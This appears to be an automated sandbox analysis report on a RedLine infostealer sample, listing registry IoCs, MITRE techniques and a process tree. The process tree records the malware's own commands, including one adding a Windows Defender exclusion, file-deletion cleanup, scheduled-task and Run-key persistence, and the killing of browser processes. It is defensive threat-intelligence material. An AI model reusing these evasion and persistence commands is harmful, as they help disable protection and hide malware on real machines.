redline | b41ece0fdbd279c8c8dd615981603fb4cb7052d28d26ce803fbeb0eef5ea01d2

System Information Discovery

Processes:

7262137.scr5761817.scrFri158ea592d6f.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7262137.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7262137.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5761817.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5761817.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Fri158ea592d6f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Fri158ea592d6f.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Fri15364050134.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Control Panel\International\Geo\Nation	Fri15364050134.exe

Loads dropped DLL 7 IoCs

Processes:

setup_install.exeFri1503acc0996b574.tmp

pid	process
1340	setup_install.exe
1340	setup_install.exe
1340	setup_install.exe
1340	setup_install.exe
1340	setup_install.exe
1340	setup_install.exe
4360	Fri1503acc0996b574.tmp

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri158ea592d6f.exe	themida
C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri158ea592d6f.exe	themida
behavioral6/memory/1020-244-0x00000000013C0000-0x00000000013C1000-memory.dmp	themida
C:\Users\Admin\AppData\Roaming\7262137.scr	themida

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

7174564.scr

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	7174564.scr

Checks whether UAC is enabled 1 TTPs 5 IoCs

evasion trojan

System Information Discovery

Processes:

5761817.scrsfx_123_206.exeFri158ea592d6f.exeFri1503acc0996b574.tmp7262137.scr

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5761817.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	sfx_123_206.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Fri158ea592d6f.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Fri1503acc0996b574.tmp
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7262137.scr

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 8 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

30 ipinfo.io
31 ipinfo.io
82 ip-api.com
232 ipinfo.io
233 ipinfo.io
556 ipinfo.io
557 ipinfo.io
7 ip-api.com
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

Fri158ea592d6f.exe7262137.scr5761817.scr

pid process

1020 Fri158ea592d6f.exe
3580 7262137.scr
5012 5761817.scr
Suspicious use of SetThreadContext 1 IoCs

Processes:

Fri15c47a7c807b12d1.exe

description pid process target process

PID 756 set thread context of 4644 756 Fri15c47a7c807b12d1.exe Fri15c47a7c807b12d1.exe
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	ioc
30	ipinfo.io
31	ipinfo.io
82	ip-api.com
232	ipinfo.io
233	ipinfo.io
556	ipinfo.io
557	ipinfo.io
7	ip-api.com

pid	process
1020	Fri158ea592d6f.exe
3580	7262137.scr
5012	5761817.scr

description	pid	process	target process
PID 756 set thread context of 4644	756	Fri15c47a7c807b12d1.exe	Fri15c47a7c807b12d1.exe

Program crash 14 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
5076	4388	WerFault.exe	Fri1574d7b3751ed.exe
5576	4388	WerFault.exe	Fri1574d7b3751ed.exe
4564	4388	WerFault.exe	Fri1574d7b3751ed.exe
5428	4388	WerFault.exe	Fri1574d7b3751ed.exe
6452	5840	WerFault.exe	993487.exe
1136	5168	WerFault.exe	6.exe
6996	4388	WerFault.exe	Fri1574d7b3751ed.exe
7380	4388	WerFault.exe	Fri1574d7b3751ed.exe
7864	4388	WerFault.exe	Fri1574d7b3751ed.exe
8740	7840	WerFault.exe	jU1Oi4K73OXHSYRBIb638OIu.exe
7500	7840	WerFault.exe	jU1Oi4K73OXHSYRBIb638OIu.exe
8736	7840	WerFault.exe	jU1Oi4K73OXHSYRBIb638OIu.exe
8416	7840	WerFault.exe	jU1Oi4K73OXHSYRBIb638OIu.exe
1364	4284	WerFault.exe	LuHiVlpjG7C1OywmNcbTc3Mr.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

Fri1586c2482e5c8a45.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri1586c2482e5c8a45.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri1586c2482e5c8a45.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri1586c2482e5c8a45.exe

Creates scheduled task(s) 1 TTPs 29 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
7672	schtasks.exe
7716	schtasks.exe
8816	schtasks.exe
5764	schtasks.exe
10792	schtasks.exe
3012	schtasks.exe
7884	schtasks.exe
2336	schtasks.exe
5708	schtasks.exe
2280	schtasks.exe
7824	schtasks.exe
4884	schtasks.exe
10712	schtasks.exe
10244	schtasks.exe
7956	schtasks.exe
9228	schtasks.exe
9736	schtasks.exe
9688	schtasks.exe
9584	schtasks.exe
1504	schtasks.exe
3016	schtasks.exe
10704	schtasks.exe
8100	schtasks.exe
8968	schtasks.exe
10140	schtasks.exe
7296	schtasks.exe
4800	schtasks.exe
3280	schtasks.exe
8748	schtasks.exe

Delays execution with timeout.exe 5 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid process

5224 timeout.exe
7624 timeout.exe
3316 timeout.exe
7416 timeout.exe
9284 timeout.exe

pid	process
5224	timeout.exe
7624	timeout.exe
3316	timeout.exe
7416	timeout.exe
9284	timeout.exe

Kills process with taskkill 10 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
10868	taskkill.exe
9652	taskkill.exe
7852	taskkill.exe
7040	taskkill.exe
9008	taskkill.exe
4840	taskkill.exe
10144	taskkill.exe
10800	taskkill.exe
7008	taskkill.exe
7412	taskkill.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4628 PING.EXE
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 23 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

pid	process
4628	PING.EXE

description	flow	ioc
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeFri158ea592d6f.exeFri1586c2482e5c8a45.exeFri15364050134.exe

pid	process
4192	powershell.exe
4192	powershell.exe
1020	Fri158ea592d6f.exe
1020	Fri158ea592d6f.exe
2792	Fri1586c2482e5c8a45.exe
2792	Fri1586c2482e5c8a45.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe
3728	Fri15364050134.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

Fri1586c2482e5c8a45.exe

pid process

2792 Fri1586c2482e5c8a45.exe

pid	process
2792	Fri1586c2482e5c8a45.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

Processes:

Fri15517df7a88264b6.exeFri155e6d4468.exeFri157e966e73fe.exepowershell.exe6502711.scrPublicDwlBrowser1100.exe4.exeschtasks.exeWMIC.exe6.exe

description	pid	process
Token: SeCreateTokenPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeAssignPrimaryTokenPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeLockMemoryPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeIncreaseQuotaPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeMachineAccountPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeTcbPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeSecurityPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeTakeOwnershipPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeLoadDriverPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeSystemProfilePrivilege	3012	Fri15517df7a88264b6.exe
Token: SeSystemtimePrivilege	3012	Fri15517df7a88264b6.exe
Token: SeProfSingleProcessPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeIncBasePriorityPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeCreatePagefilePrivilege	3012	Fri15517df7a88264b6.exe
Token: SeCreatePermanentPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeBackupPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeRestorePrivilege	3012	Fri15517df7a88264b6.exe
Token: SeShutdownPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeDebugPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeAuditPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeSystemEnvironmentPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeChangeNotifyPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeRemoteShutdownPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeUndockPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeSyncAgentPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeEnableDelegationPrivilege	3012	Fri15517df7a88264b6.exe
Token: SeManageVolumePrivilege	3012	Fri15517df7a88264b6.exe
Token: SeImpersonatePrivilege	3012	Fri15517df7a88264b6.exe
Token: SeCreateGlobalPrivilege	3012	Fri15517df7a88264b6.exe
Token: 31	3012	Fri15517df7a88264b6.exe
Token: 32	3012	Fri15517df7a88264b6.exe
Token: 33	3012	Fri15517df7a88264b6.exe
Token: 34	3012	Fri15517df7a88264b6.exe
Token: 35	3012	Fri15517df7a88264b6.exe
Token: SeDebugPrivilege	3948	Fri155e6d4468.exe
Token: SeDebugPrivilege	4164	Fri157e966e73fe.exe
Token: SeDebugPrivilege	4192	powershell.exe
Token: SeDebugPrivilege	4976	6502711.scr
Token: SeDebugPrivilege	4708	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	4776	4.exe
Token: SeShutdownPrivilege	3052
Token: SeCreatePagefilePrivilege	3052
Token: SeShutdownPrivilege	3052
Token: SeCreatePagefilePrivilege	3052
Token: SeRestorePrivilege	5076	schtasks.exe
Token: SeBackupPrivilege	5076	schtasks.exe
Token: SeDebugPrivilege	5076	WMIC.exe
Token: SeDebugPrivilege	5168	6.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 3196 wrote to memory of 3832	3196	setup_x86_x64_install.exe	setup_installer.exe
PID 3196 wrote to memory of 3832	3196	setup_x86_x64_install.exe	setup_installer.exe
PID 3196 wrote to memory of 3832	3196	setup_x86_x64_install.exe	setup_installer.exe
PID 3832 wrote to memory of 1340	3832	setup_installer.exe	setup_install.exe
PID 3832 wrote to memory of 1340	3832	setup_installer.exe	setup_install.exe
PID 3832 wrote to memory of 1340	3832	setup_installer.exe	setup_install.exe
PID 1340 wrote to memory of 1904	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 1904	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 1904	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 1504	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 1504	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 1504	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 1888	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 1888	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 1888	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 3628	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 3628	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 3628	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 68	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 68	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 68	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 3600	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 3600	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 3600	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 1900	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 1900	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 1900	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 2392	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 2392	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 2392	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 2292	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 2292	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 2292	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 2056	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 2056	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 2056	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 1928	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 1928	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 1928	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 3872	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 3872	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 3872	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 3932	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 3932	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 3932	1340	setup_install.exe	cmd.exe
PID 1504 wrote to memory of 3892	1504	cmd.exe	Fri15cf751fee90f2.exe
PID 1504 wrote to memory of 3892	1504	cmd.exe	Fri15cf751fee90f2.exe
PID 1504 wrote to memory of 3892	1504	cmd.exe	Fri15cf751fee90f2.exe
PID 2392 wrote to memory of 3876	2392	cmd.exe	Fri15c8bd2ae6f94f.exe
PID 2392 wrote to memory of 3876	2392	cmd.exe	Fri15c8bd2ae6f94f.exe
PID 2392 wrote to memory of 3876	2392	cmd.exe	Fri15c8bd2ae6f94f.exe
PID 1340 wrote to memory of 2752	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 2752	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 2752	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 2236	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 2236	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 2236	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 2936	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 2936	1340	setup_install.exe	cmd.exe
PID 1340 wrote to memory of 2936	1340	setup_install.exe	cmd.exe
PID 3600 wrote to memory of 3552	3600	cmd.exe	Fri156c10dd46.exe
PID 3600 wrote to memory of 3552	3600	cmd.exe	Fri156c10dd46.exe
PID 3628 wrote to memory of 3592	3628	cmd.exe	Fri15d3a9f0cbde1.exe
PID 3628 wrote to memory of 3592	3628	cmd.exe	Fri15d3a9f0cbde1.exe

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3196

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3832

C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\setup_install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1340

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
4⤵
PID:1904

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4192

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri15cf751fee90f2.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:1504

C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri15cf751fee90f2.exe
Fri15cf751fee90f2.exe
5⤵
- Executes dropped EXE
PID:3892

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im Fri15cf751fee90f2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri15cf751fee90f2.exe" & del C:\ProgramData\*.dll & exit
6⤵
PID:5636

C:\Windows\SysWOW64\taskkill.exe
taskkill /im Fri15cf751fee90f2.exe /f
7⤵
- Kills process with taskkill
PID:9008

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
7⤵
- Delays execution with timeout.exe
PID:5224

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri15d3a9f0cbde1.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3628

C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri15d3a9f0cbde1.exe
Fri15d3a9f0cbde1.exe
5⤵
- Executes dropped EXE
PID:3592

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri158ea592d6f.exe
4⤵
PID:68

C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri158ea592d6f.exe
Fri158ea592d6f.exe
5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1020

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri15364050134.exe
4⤵
PID:1888

C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri15364050134.exe
Fri15364050134.exe
5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
PID:3728

C:\Users\Admin\Documents\LuHiVlpjG7C1OywmNcbTc3Mr.exe
"C:\Users\Admin\Documents\LuHiVlpjG7C1OywmNcbTc3Mr.exe"
6⤵
PID:4284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4284 -s 1152
7⤵
- Program crash
PID:1364

C:\Users\Admin\Documents\e_Q09U7XKKfQuDr6_fG05pJl.exe
"C:\Users\Admin\Documents\e_Q09U7XKKfQuDr6_fG05pJl.exe"
6⤵
PID:7464

C:\Users\Admin\Documents\e_Q09U7XKKfQuDr6_fG05pJl.exe
"C:\Users\Admin\Documents\e_Q09U7XKKfQuDr6_fG05pJl.exe"
7⤵
PID:6320

C:\Users\Admin\Documents\1LxDgiX2K578hjoXrTpW2kcE.exe
"C:\Users\Admin\Documents\1LxDgiX2K578hjoXrTpW2kcE.exe"
6⤵
PID:3012

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
7⤵
PID:9852

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
8⤵
- Kills process with taskkill
PID:4840

C:\Users\Admin\Documents\w1HiFzoax3Ot0InE9t9KvDTZ.exe
"C:\Users\Admin\Documents\w1HiFzoax3Ot0InE9t9KvDTZ.exe"
6⤵
PID:7580

C:\Users\Admin\Documents\9JndTJw9kF7zsBcgFaVjawby.exe
"C:\Users\Admin\Documents\9JndTJw9kF7zsBcgFaVjawby.exe"
6⤵
PID:7636

C:\Users\Admin\Documents\lc7vSwcjFR56ZshRYQ1r6iYA.exe
"C:\Users\Admin\Documents\lc7vSwcjFR56ZshRYQ1r6iYA.exe"
6⤵
PID:7704

C:\Users\Admin\Documents\J30hWTQCLal32NoskNGN3gr9.exe
"C:\Users\Admin\Documents\J30hWTQCLal32NoskNGN3gr9.exe"
6⤵
PID:7812

C:\Users\Admin\Documents\J30hWTQCLal32NoskNGN3gr9.exe
"C:\Users\Admin\Documents\J30hWTQCLal32NoskNGN3gr9.exe"
7⤵
PID:8312

C:\Users\Admin\Documents\zIJbXkdOMnH1wAXvEraF7SuW.exe
"C:\Users\Admin\Documents\zIJbXkdOMnH1wAXvEraF7SuW.exe"
6⤵
PID:7916

C:\Users\Admin\Documents\GicV_DIbg6IqESbBaWE3M0Iy.exe
"C:\Users\Admin\Documents\GicV_DIbg6IqESbBaWE3M0Iy.exe"
6⤵
PID:7968

C:\Users\Admin\Documents\BECTztiu4aE5bXp3CHuh3GQY.exe
"C:\Users\Admin\Documents\BECTztiu4aE5bXp3CHuh3GQY.exe"
6⤵
PID:5848

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
7⤵
PID:7408

C:\Users\Admin\Documents\Jw6rka5SxJKkXRTt4jjTQ_A3.exe
"C:\Users\Admin\Documents\Jw6rka5SxJKkXRTt4jjTQ_A3.exe"
6⤵
PID:4608

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\qgHXt6t2f9.bat"
7⤵
PID:8660

C:\Windows\SysWOW64\chcp.com
chcp 65001
8⤵
PID:9112

C:\Windows\SysWOW64\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
8⤵
PID:5476

C:\Windows\System32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
9⤵
PID:4568

C:\Users\Admin\Documents\Opened\USz6npYJhQUNx9KvLgoBaNlB.exe
"C:\Users\Admin\Documents\Opened\USz6npYJhQUNx9KvLgoBaNlB.exe"
8⤵
PID:9528

C:\Users\Admin\Documents\jU1Oi4K73OXHSYRBIb638OIu.exe
"C:\Users\Admin\Documents\jU1Oi4K73OXHSYRBIb638OIu.exe"
6⤵
PID:7840

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7840 -s 672
7⤵
- Program crash
PID:8740

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7840 -s 648
7⤵
- Program crash
PID:7500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7840 -s 656
7⤵
- Program crash
PID:8736

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7840 -s 648
7⤵
- Program crash
PID:8416

C:\Users\Admin\Documents\ZI7UaHvR5Zlv3vyj0_QivbpQ.exe
"C:\Users\Admin\Documents\ZI7UaHvR5Zlv3vyj0_QivbpQ.exe"
6⤵
PID:7768

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
7⤵
- Creates scheduled task(s)
PID:8968

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
7⤵
- Creates scheduled task(s)
PID:8816

C:\Users\Admin\Documents\_xa_Ocvj8QQX5s1MVuyQiSL3.exe
"C:\Users\Admin\Documents\_xa_Ocvj8QQX5s1MVuyQiSL3.exe"
6⤵
PID:8044

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
7⤵
PID:7392

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
8⤵
PID:8416

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
7⤵
PID:5860

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xcc,0xd0,0xd4,0xac,0xd8,0x7ffe57a94f50,0x7ffe57a94f60,0x7ffe57a94f70
8⤵
PID:768

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1692,7672690731226439243,16872145029700668896,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1716 /prefetch:2
8⤵
PID:7328

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1692,7672690731226439243,16872145029700668896,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1768 /prefetch:8
8⤵
PID:8544

C:\Program Files\Google\Chrome\Application\chrome.exe
